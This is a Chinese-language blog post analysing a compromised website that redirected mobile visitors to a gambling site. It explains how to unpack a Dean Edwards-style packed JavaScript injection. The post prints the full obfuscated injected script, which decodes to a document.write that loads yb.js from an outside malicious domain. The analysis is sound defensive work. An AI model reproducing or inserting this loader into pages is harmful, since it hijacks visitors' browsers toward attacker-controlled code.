eval(function(p,a,c,k,e,r){e=function(c)格式加密破解

作者: 平淡人生 分类: 逆向工程 发布时间: 2023-03-29 17:17

近日收到群好友求助,网站电脑端打开正常手机访问自动跳转到网络赌博网站,第一反应就是被挂木马了,查看网页源码页面<title><meta相关代码被有未知Unicode编码

如图:QQ截图20230329170026

经编码转换后发现为恶意文字广告,单并不能引起网页跳转

在次分析代码发现,在下方一个”eval(function(p,a,c,k,e,r){e=function(c)”格式加密JS代码,代码经格式化后如下

<script type=”text/javascript”>eval(function(p, a, c, k, e, r) {
e = function(c) {
return (c < a ? ”: e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!”.replace(/^/, String)) {
while (c–) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return ‘\\w+’
};
c = 1
};
while (c–) if (k[c]) p = p.replace(new RegExp(‘\\b’ + e(c) + ‘\\b’, ‘g’), k[c]);
return p
} (‘m(d(p,a,c,k,e,r){e=d(c){f c.n(a)};h(!\’\’.i(/^/,o)){j(c–)r[e(c)]=k[c]||e(c);k=[d(e){f r[e]}];e=d(){f\’\\\\w+\’};c=1};j(c–)h(k[c])p=p.i(q s(\’\\\\b\’+e(c)+\’\\\\b\’,\’g\’),k[c]);f p}(\’1[“2”][“3″](\\\'<0 4=”5/6″ 7=”8://9.a/b.c”></0>\\\’);\’,l,l,\’t|u|v|x|y|z|A|B|C|D|E|F|G\’.H(\’|\’),0,{}))’, 44, 44, ‘|||||||||||||function||return||if|replace|while||13|eval|toString|String||new||RegExp|script|window|document||write|type|text|javascript|src|https|fafafa15641|com|yb|js|split’.split(‘|’), 0, {}))</script>

其实这个eval(function(p, a, c, k, e, r){}))中自带解码函数”while (c–) if (k[c]) p = p.replace(new RegExp(‘\\b’ + e(c) + ‘\\b’, ‘g’), k[c]); return p” while循环产生的每个p就是解码后的函数代码,我们删掉源码中的return p,不用将结果返回, 而是直接输出在一个文本区域中,如document.getElementById(”textareaID”).innerText=p.

把修改过的代码保存成一个HTML文件打开运行,页面将显示解密都的代码解密后结果如图:

QQ截图20230329171225

发现还是加密代码,发现是经过了多次加密,重复前面的操作在来一次

这次完成了解密.解密结果如下:

QQ截图20230329171532

打开yb.js代码发现明细的跳转代码,解密全部完成

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!